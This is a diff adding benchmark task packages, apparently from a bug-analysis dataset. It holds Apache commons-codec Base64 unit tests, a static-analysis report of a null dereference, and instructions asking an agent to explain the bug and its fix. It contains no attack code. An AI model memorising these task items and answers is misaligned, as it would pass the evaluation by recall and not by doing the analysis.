+        assertEquals("AAAn", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 39})));
+        assertEquals("AAAo", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 40})));
+        assertEquals("AAAp", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 41})));
+        assertEquals("AAAq", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 42})));
+        assertEquals("AAAr", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 43})));
+        assertEquals("AAAs", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 44})));
+        assertEquals("AAAt", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 45})));
+        assertEquals("AAAu", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 46})));
+        assertEquals("AAAv", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 47})));
+        assertEquals("AAAw", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 48})));
+        assertEquals("AAAx", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 49})));
+        assertEquals("AAAy", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 50})));
+        assertEquals("AAAz", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 51})));
+        assertEquals("AAA0", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 52})));
+        assertEquals("AAA1", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 53})));
+        assertEquals("AAA2", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 54})));
+        assertEquals("AAA3", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 55})));
+        assertEquals("AAA4", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 56})));
+        assertEquals("AAA5", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 57})));
+        assertEquals("AAA6", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 58})));
+        assertEquals("AAA7", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 59})));
+        assertEquals("AAA8", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 60})));
+        assertEquals("AAA9", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 61})));
+        assertEquals("AAA+", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 62})));
+        assertEquals("AAA/", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 63})));
+    }
+
+    @Test
+    public void testTripletsChunked() {
+        assertEquals("AAAA\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 0})));
+        assertEquals("AAAB\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 1})));
+        assertEquals("AAAC\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 2})));
+        assertEquals("AAAD\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 3})));
+        assertEquals("AAAE\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 4})));
+        assertEquals("AAAF\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 5})));
+        assertEquals("AAAG\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 6})));
+        assertEquals("AAAH\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 7})));
+        assertEquals("AAAI\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 8})));
+        assertEquals("AAAJ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 9})));
+        assertEquals("AAAK\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 10})));
+        assertEquals("AAAL\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 11})));
+        assertEquals("AAAM\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 12})));
+        assertEquals("AAAN\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 13})));
+        assertEquals("AAAO\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 14})));
+        assertEquals("AAAP\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 15})));
+        assertEquals("AAAQ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 16})));
+        assertEquals("AAAR\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 17})));
+        assertEquals("AAAS\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 18})));
+        assertEquals("AAAT\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 19})));
+        assertEquals("AAAU\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 20})));
+        assertEquals("AAAV\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 21})));
+        assertEquals("AAAW\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 22})));
+        assertEquals("AAAX\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 23})));
+        assertEquals("AAAY\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 24})));
+        assertEquals("AAAZ\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 25})));
+        assertEquals("AAAa\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 26})));
+        assertEquals("AAAb\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 27})));
+        assertEquals("AAAc\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 28})));
+        assertEquals("AAAd\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 29})));
+        assertEquals("AAAe\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 30})));
+        assertEquals("AAAf\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 31})));
+        assertEquals("AAAg\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 32})));
+        assertEquals("AAAh\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 33})));
+        assertEquals("AAAi\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 34})));
+        assertEquals("AAAj\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 35})));
+        assertEquals("AAAk\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 36})));
+        assertEquals("AAAl\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 37})));
+        assertEquals("AAAm\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 38})));
+        assertEquals("AAAn\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 39})));
+        assertEquals("AAAo\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 40})));
+        assertEquals("AAAp\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 41})));
+        assertEquals("AAAq\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 42})));
+        assertEquals("AAAr\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 43})));
+        assertEquals("AAAs\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 44})));
+        assertEquals("AAAt\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 45})));
+        assertEquals("AAAu\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 46})));
+        assertEquals("AAAv\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 47})));
+        assertEquals("AAAw\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 48})));
+        assertEquals("AAAx\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 49})));
+        assertEquals("AAAy\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 50})));
+        assertEquals("AAAz\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 51})));
+        assertEquals("AAA0\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 52})));
+        assertEquals("AAA1\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 53})));
+        assertEquals("AAA2\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 54})));
+        assertEquals("AAA3\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 55})));
+        assertEquals("AAA4\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 56})));
+        assertEquals("AAA5\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 57})));
+        assertEquals("AAA6\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 58})));
+        assertEquals("AAA7\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 59})));
+        assertEquals("AAA8\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 60})));
+        assertEquals("AAA9\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 61})));
+        assertEquals("AAA+\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 62})));
+        assertEquals("AAA/\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0, (byte) 0, (byte) 63})));
+    }
+
+    /**
+     * Tests url-safe Base64 against random data, sizes 0 to 150.
+     */
+    @Test
+    public void testUrlSafe() {
+        // test random data of sizes 0 thru 150
+        for (int i = 0; i <= 150; i++) {
+            final byte[][] randomData = Base64TestData.randomData(i, true);
+            final byte[] encoded = randomData[1];
+            final byte[] decoded = randomData[0];
+            final byte[] result = Base64.decodeBase64(encoded);
+            assertTrue("url-safe i=" + i, Arrays.equals(decoded, result));
+            assertFalse("url-safe i=" + i + " no '='", Base64TestData.bytesContain(encoded, (byte) '='));
+            assertFalse("url-safe i=" + i + " no '\\'", Base64TestData.bytesContain(encoded, (byte) '\\'));
+            assertFalse("url-safe i=" + i + " no '+'", Base64TestData.bytesContain(encoded, (byte) '+'));
+        }
+
+    }
+
+    /**
+     * Base64 encoding of UUID's is a common use-case, especially in URL-SAFE mode. This test case ends up being the
+     * "URL-SAFE" JUnit's.
+     *
+     * @throws DecoderException
+     *             if Hex.decode() fails - a serious problem since Hex comes from our own commons-codec!
+     */
+    @Test
+    public void testUUID() throws DecoderException {
+        // The 4 UUID's below contains mixtures of + and / to help us test the
+        // URL-SAFE encoding mode.
+        final byte[][] ids = new byte[4][];
+
+        // ids[0] was chosen so that it encodes with at least one +.
+        ids[0] = Hex.decodeHex("94ed8d0319e4493399560fb67404d370".toCharArray());
+
+        // ids[1] was chosen so that it encodes with both / and +.
+        ids[1] = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());
+
+        // ids[2] was chosen so that it encodes with at least one /.
+        ids[2] = Hex.decodeHex("64be154b6ffa40258d1a01288e7c31ca".toCharArray());
+
+        // ids[3] was chosen so that it encodes with both / and +, with /
+        // right at the beginning.
+        ids[3] = Hex.decodeHex("ff7f8fc01cdb471a8c8b5a9306183fe8".toCharArray());
+
+        final byte[][] standard = new byte[4][];
+        standard[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg+2dATTcA==");
+        standard[1] = StringUtils.getBytesUtf8("K/fMJwH+Q5e0nr7tWsxwkA==");
+        standard[2] = StringUtils.getBytesUtf8("ZL4VS2/6QCWNGgEojnwxyg==");
+        standard[3] = StringUtils.getBytesUtf8("/3+PwBzbRxqMi1qTBhg/6A==");
+
+        final byte[][] urlSafe1 = new byte[4][];
+        // regular padding (two '==' signs).
+        urlSafe1[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA==");
+        urlSafe1[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA==");
+        urlSafe1[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg==");
+        urlSafe1[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A==");
+
+        final byte[][] urlSafe2 = new byte[4][];
+        // single padding (only one '=' sign).
+        urlSafe2[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA=");
+        urlSafe2[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA=");
+        urlSafe2[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg=");
+        urlSafe2[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A=");
+
+        final byte[][] urlSafe3 = new byte[4][];
+        // no padding (no '=' signs).
+        urlSafe3[0] = StringUtils.getBytesUtf8("lO2NAxnkSTOZVg-2dATTcA");
+        urlSafe3[1] = StringUtils.getBytesUtf8("K_fMJwH-Q5e0nr7tWsxwkA");
+        urlSafe3[2] = StringUtils.getBytesUtf8("ZL4VS2_6QCWNGgEojnwxyg");
+        urlSafe3[3] = StringUtils.getBytesUtf8("_3-PwBzbRxqMi1qTBhg_6A");
+
+        for (int i = 0; i < 4; i++) {
+            final byte[] encodedStandard = Base64.encodeBase64(ids[i]);
+            final byte[] encodedUrlSafe = Base64.encodeBase64URLSafe(ids[i]);
+            final byte[] decodedStandard = Base64.decodeBase64(standard[i]);
+            final byte[] decodedUrlSafe1 = Base64.decodeBase64(urlSafe1[i]);
+            final byte[] decodedUrlSafe2 = Base64.decodeBase64(urlSafe2[i]);
+            final byte[] decodedUrlSafe3 = Base64.decodeBase64(urlSafe3[i]);
+
+            // Very important debugging output should anyone
+            // ever need to delve closely into this stuff.
+            if (false) {
+                System.out.println("reference: [" + Hex.encodeHexString(ids[i]) + "]");
+                System.out.println("standard:  [" +
+                        Hex.encodeHexString(decodedStandard) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(standard[i]) +
+                    "]");
+                System.out.println("safe1:     [" +
+                        Hex.encodeHexString(decodedUrlSafe1) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe1[i]) +
+                    "]");
+                System.out.println("safe2:     [" +
+                        Hex.encodeHexString(decodedUrlSafe2) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe2[i]) +
+                    "]");
+                System.out.println("safe3:     [" +
+                        Hex.encodeHexString(decodedUrlSafe3) +
+                    "] From: [" +
+                    StringUtils.newStringUtf8(urlSafe3[i]) +
+                    "]");
+            }
+
+            assertTrue("standard encode uuid", Arrays.equals(encodedStandard, standard[i]));
+            assertTrue("url-safe encode uuid", Arrays.equals(encodedUrlSafe, urlSafe3[i]));
+            assertTrue("standard decode uuid", Arrays.equals(decodedStandard, ids[i]));
+            assertTrue("url-safe1 decode uuid", Arrays.equals(decodedUrlSafe1, ids[i]));
+            assertTrue("url-safe2 decode uuid", Arrays.equals(decodedUrlSafe2, ids[i]));
+            assertTrue("url-safe3 decode uuid", Arrays.equals(decodedUrlSafe3, ids[i]));
+        }
+    }
+
+    @Test
+    public void testByteToStringVariations() throws DecoderException {
+        final Base64 base64 = new Base64(0);
+        final byte[] b1 = StringUtils.getBytesUtf8("Hello World");
+        final byte[] b2 = new byte[0];
+        final byte[] b3 = null;
+        final byte[] b4 = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());  // for url-safe tests
+
+        assertEquals("byteToString Hello World", "SGVsbG8gV29ybGQ=", base64.encodeToString(b1));
+        assertEquals("byteToString static Hello World", "SGVsbG8gV29ybGQ=", Base64.encodeBase64String(b1));
+        assertEquals("byteToString \"\"", "", base64.encodeToString(b2));
+        assertEquals("byteToString static \"\"", "", Base64.encodeBase64String(b2));
+        assertEquals("byteToString null", null, base64.encodeToString(b3));
+        assertEquals("byteToString static null", null, Base64.encodeBase64String(b3));
+        assertEquals("byteToString UUID", "K/fMJwH+Q5e0nr7tWsxwkA==", base64.encodeToString(b4));
+        assertEquals("byteToString static UUID", "K/fMJwH+Q5e0nr7tWsxwkA==", Base64.encodeBase64String(b4));
+        assertEquals("byteToString static-url-safe UUID", "K_fMJwH-Q5e0nr7tWsxwkA", Base64.encodeBase64URLSafeString(b4));
+    }
+
+    @Test
+    public void testStringToByteVariations() throws DecoderException {
+        final Base64 base64 = new Base64();
+        final String s1 = "SGVsbG8gV29ybGQ=\r\n";
+        final String s2 = "";
+        final String s3 = null;
+        final String s4a = "K/fMJwH+Q5e0nr7tWsxwkA==\r\n";
+        final String s4b = "K_fMJwH-Q5e0nr7tWsxwkA";
+        final byte[] b4 = Hex.decodeHex("2bf7cc2701fe4397b49ebeed5acc7090".toCharArray());  // for url-safe tests
+
+        assertEquals("StringToByte Hello World", "Hello World", StringUtils.newStringUtf8(base64.decode(s1)));
+        assertEquals("StringToByte Hello World", "Hello World", StringUtils.newStringUtf8((byte[])base64.decode((Object)s1)));
+        assertEquals("StringToByte static Hello World", "Hello World", StringUtils.newStringUtf8(Base64.decodeBase64(s1)));
+        assertEquals("StringToByte \"\"", "", StringUtils.newStringUtf8(base64.decode(s2)));
+        assertEquals("StringToByte static \"\"", "", StringUtils.newStringUtf8(Base64.decodeBase64(s2)));
+        assertEquals("StringToByte null", null, StringUtils.newStringUtf8(base64.decode(s3)));
+        assertEquals("StringToByte static null", null, StringUtils.newStringUtf8(Base64.decodeBase64(s3)));
+        assertTrue("StringToByte UUID", Arrays.equals(b4, base64.decode(s4b)));
+        assertTrue("StringToByte static UUID", Arrays.equals(b4, Base64.decodeBase64(s4a)));
+        assertTrue("StringToByte static-url-safe UUID", Arrays.equals(b4, Base64.decodeBase64(s4b)));
+    }
+
+    private String toString(final byte[] data) {
+        final StringBuilder buf = new StringBuilder();
+        for (int i = 0; i < data.length; i++) {
+            buf.append(data[i]);
+            if (i != data.length - 1) {
+                buf.append(",");
+            }
+        }
+        return buf.toString();
+    }
+
+    /**
+     * Tests a lineSeparator much bigger than DEFAULT_BUFFER_SIZE.
+     *
+     * @see "<a href='http://mail-archives.apache.org/mod_mbox/commons-dev/201202.mbox/%3C4F3C85D7.5060706@snafu.de%3E'>dev@commons.apache.org</a>"
+     */
+    @Test
+    @Ignore
+    public void testHugeLineSeparator() {
+        final int BaseNCodec_DEFAULT_BUFFER_SIZE = 8192;
+        final int Base64_BYTES_PER_ENCODED_BLOCK = 4;
+        final byte[] baLineSeparator = new byte[BaseNCodec_DEFAULT_BUFFER_SIZE * 4 - 3];
+        final Base64 b64 = new Base64(Base64_BYTES_PER_ENCODED_BLOCK, baLineSeparator);
+        final String strOriginal = "Hello World";
+        final String strDecoded = new String(b64.decode(b64.encode(StringUtils.getBytesUtf8(strOriginal))));
+        assertEquals("testDEFAULT_BUFFER_SIZE", strOriginal, strDecoded);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `decodeBase64("VGhlIH@$#$@%F1aWN@#@#@@rIGJyb3duIGZve\\n\\r\\t%#%#%#%CBqd##$#$W1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes(org.apache.commons.codec.Charsets.UTF_8))` could be null and is dereferenced by call to `String(...)` at line 396.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base64Test.testIgnoringNonBase64InDecode()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base64Test.testIgnoringNonBase64InDecode():void.158c1a8e8c86c51766a5f603dd29ca45
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base64Test.java
+
+### Key:
+Base64Test.java|testIgnoringNonBase64InDecode|NULL_DEREFERENCE
+
+### Node Key:
+e7100ed3d2ec428549af314291e315ce
+
+### Hash:
+9902fdc4d355d183af60e3f743ba9b50
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3349/instruction.md b/inferredbugs-3349/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0e1956c74f30bbb89ebc15d12a82efd8b4eb715e
--- /dev/null
+++ b/inferredbugs-3349/instruction.md
@@ -0,0 +1,628 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+/**
+ * @version $Id $
+ * @since 1.4
+ */
+public class Base64InputStreamTest {
+
+    /**
+     * Decodes to {0, 0, 0, 255, 255, 255}
+     */
+    private static final String ENCODED_B64 = "AAAA////";
+
+    private final static byte[] CRLF = { (byte) '\r', (byte) '\n' };
+
+    private final static byte[] LF = { (byte) '\n' };
+
+    private static final String STRING_FIXTURE = "Hello World";
+
+    /**
+     * Tests the problem reported in CODEC-130. Missing / wrong implementation of skip.
+     */
+    @Test
+    public void testCodec130() throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        Base64OutputStream base64os = new Base64OutputStream(bos);
+
+        base64os.write(StringUtils.getBytesUtf8(STRING_FIXTURE));
+        base64os.close();
+
+        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
+        Base64InputStream ins = new Base64InputStream(bis);
+
+        // we skip the first character read from the reader
+        ins.skip(1);
+        byte[] decodedBytes = Base64TestData.streamToBytes(ins, new byte[64]);
+        String str = StringUtils.newStringUtf8(decodedBytes);
+
+        assertEquals(STRING_FIXTURE.substring(1), str);
+    }
+
+    /**
+     * Tests the bug reported in CODEC-105. Bad interactions with InputStream when reading one byte at a time.
+     */
+    @Test
+    public void testCodec105() throws IOException {
+        Base64InputStream in = new Base64InputStream(new Codec105ErrorInputStream(), true, 0, null);
+        try {
+            for (int i = 0; i < 5; i++) {
+                in.read();
+            }
+        } finally {
+            in.close();
+        }
+    }
+
+    /**
+     * Test for the CODEC-101 bug: InputStream.read(byte[]) should never return 0 because Java's builtin InputStreamReader hates that.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testCodec101() throws Exception {
+        byte[] codec101 = StringUtils.getBytesUtf8(Base64TestData.CODEC_101_MULTIPLE_OF_3);
+        ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+        Base64InputStream in = new Base64InputStream(bais);
+        byte[] result = new byte[8192];
+        int c = in.read(result);
+        assertTrue("Codec101: First read successful [c=" + c + "]", c > 0);
+
+        c = in.read(result);
+        assertTrue("Codec101: Second read should report end-of-stream [c=" + c + "]", c < 0);
+    }
+
+    /**
+     * Another test for the CODEC-101 bug: In commons-codec-1.4 this test shows InputStreamReader explicitly hating an
+     * InputStream.read(byte[]) return of 0:
+     *
+     * java.io.IOException: Underlying input stream returned zero bytes at sun.nio.cs.StreamDecoder.readBytes(StreamDecoder.java:268) at
+     * sun.nio.cs.StreamDecoder.implRead(StreamDecoder.java:306) at sun.nio.cs.StreamDecoder.read(StreamDecoder.java:158) at
+     * java.io.InputStreamReader.read(InputStreamReader.java:167) at java.io.BufferedReader.fill(BufferedReader.java:136) at
+     * java.io.BufferedReader.readLine(BufferedReader.java:299) at java.io.BufferedReader.readLine(BufferedReader.java:362) at
+     * org.apache.commons.codec.binary.Base64InputStreamTest.testInputStreamReader(Base64InputStreamTest.java:75)
+     *
+     * But in commons-codec-1.5 it's fixed. :-)
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testInputStreamReader() throws Exception {
+        byte[] codec101 = StringUtils.getBytesUtf8(Base64TestData.CODEC_101_MULTIPLE_OF_3);
+        ByteArrayInputStream bais = new ByteArrayInputStream(codec101);
+        Base64InputStream in = new Base64InputStream(bais);
+        InputStreamReader isr = new InputStreamReader(in);
+        BufferedReader br = new BufferedReader(isr);
+        String line = br.readLine();
+        assertNotNull("Codec101:  InputStreamReader works!", line);
+    }
+
+    /**
+     * Test the Base64InputStream implementation against the special NPE inducing input identified in the CODEC-98 bug.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testCodec98NPE() throws Exception {
+        byte[] codec98 = StringUtils.getBytesUtf8(Base64TestData.CODEC_98_NPE);
+        ByteArrayInputStream data = new ByteArrayInputStream(codec98);
+        Base64InputStream stream = new Base64InputStream(data);
+
+        // This line causes an NPE in commons-codec-1.4.jar:
+        byte[] decodedBytes = Base64TestData.streamToBytes(stream, new byte[1024]);
+
+        String decoded = StringUtils.newStringUtf8(decodedBytes);
+        assertEquals("codec-98 NPE Base64InputStream", Base64TestData.CODEC_98_NPE_DECODED, decoded);
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testAvailable() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_B64));
+        Base64InputStream b64stream = new Base64InputStream(ins);
+        assertEquals(1, b64stream.available());
+        assertEquals(6, b64stream.skip(10));
+        // End of stream reached
+        assertEquals(0, b64stream.available());
+        assertEquals(-1, b64stream.read());
+        assertEquals(-1, b64stream.read());
+        assertEquals(0, b64stream.available());
+    }
+
+    /**
+     * Tests the Base64InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64EmptyInputStreamMimeChuckSize() throws Exception {
+        testBase64EmptyInputStream(BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests the Base64InputStream implementation against empty input.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64EmptyInputStreamPemChuckSize() throws Exception {
+        testBase64EmptyInputStream(BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    private void testBase64EmptyInputStream(int chuckSize) throws Exception {
+        byte[] emptyEncoded = new byte[0];
+        byte[] emptyDecoded = new byte[0];
+        testByteByByte(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+        testByChunk(emptyEncoded, emptyDecoded, chuckSize, CRLF);
+    }
+
+    /**
+     * Tests the Base64InputStream implementation.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testBase64InputStreamByChunk() throws Exception {
+        // Hello World test.
+        byte[] encoded = StringUtils.getBytesUtf8("SGVsbG8gV29ybGQ=\r\n");
+        byte[] decoded = StringUtils.getBytesUtf8(STRING_FIXTURE);
+        testByChunk(encoded, decoded, BaseNCodec.MIME_CHUNK_SIZE, CRLF);
+
+        // Single Byte test.
+        encoded = StringUtils.getBytesUtf8("AA==\r\n");
+        decoded = new byte[] { (byte) 0 };
